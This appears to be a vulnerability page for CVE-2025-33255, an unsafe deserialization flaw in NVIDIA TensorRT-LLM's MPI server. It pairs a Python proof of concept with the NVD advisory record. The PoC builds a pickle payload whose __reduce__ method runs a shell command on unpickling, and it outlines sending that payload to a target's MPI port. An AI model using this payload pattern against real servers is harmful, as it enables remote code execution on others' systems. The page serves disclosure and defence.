CVE-2025-33255

import pickle import os import socket # Conceptual PoC for Unsafe Deserialization in MPI Server # This demonstrates how a malicious payload can be crafted. # In a real scenario, this payload would be sent to the vulnerable MPI endpoint. class MaliciousPayload: def __reduce__(self): # The __reduce__ method defines how the object is pickled. # Here we instruct pickle to execute a system command upon unpickling. # Example: creating a file named 'pwned' to prove execution. return (os.system, ('touch /tmp/pwned',)) def generate_exploit(): payload = pickle.dumps(MaliciousPayload()) print(f"[+] Generated malicious payload length: {len(payload)} bytes") # In an actual exploit, this payload would be sent via the MPI protocol. # Example pseudo-code for sending: # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect(('target_ip', mpi_port)) # sock.send(payload) return payload if __name__ == "__main__": data = generate_exploit() print("[+] Payload ready. Send this to the vulnerable TRT-LLM MPI server.")

{"cve": {"id": "CVE-2025-33255", "sourceIdentifier": "[email protected]", "published": "2026-05-20T04:16:43.667", "lastModified": "2026-05-21T00:06:30.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA TRT-LLM for any platform contains a vulnerability in MPI server, where an attacker could cause an unsafe deserialization. A successful exploit of this vulnerability might lead to code execution, denial of service, data tampering, and information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:tensorrt_llm:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2", "matchCriteriaId": "98DDF811-7971-4E89-8807-68A05836B01A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33255", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5805", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33255", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}